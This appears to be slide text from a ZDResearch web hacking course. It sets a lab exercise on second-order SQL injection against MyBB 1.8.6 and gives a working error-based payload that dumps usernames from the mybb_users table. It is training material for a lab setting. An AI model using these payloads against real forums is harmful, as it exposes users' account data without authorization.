Advanced SQL Injection

Second-order SQL Injection

Second-order SQL Injection

- Try to dump all MyBB users data using mybb 1.8.6 exploit
  - Initial payload:
    - 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
- If you don't have mybb installed on your local lab, you can use the online lab:

Second-order SQL Injection - Solution

- To extract all users you need to:
  - 1) Find the part of query that will be executed in the initial payload
  - 2) Use what you have learned about dumping table via UNION query here
- So, the final payload is:
  - 20 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from mybb_users))),1);

ZDResearch Advanced Web Hacking

ZDResearch

www.zdresearch.com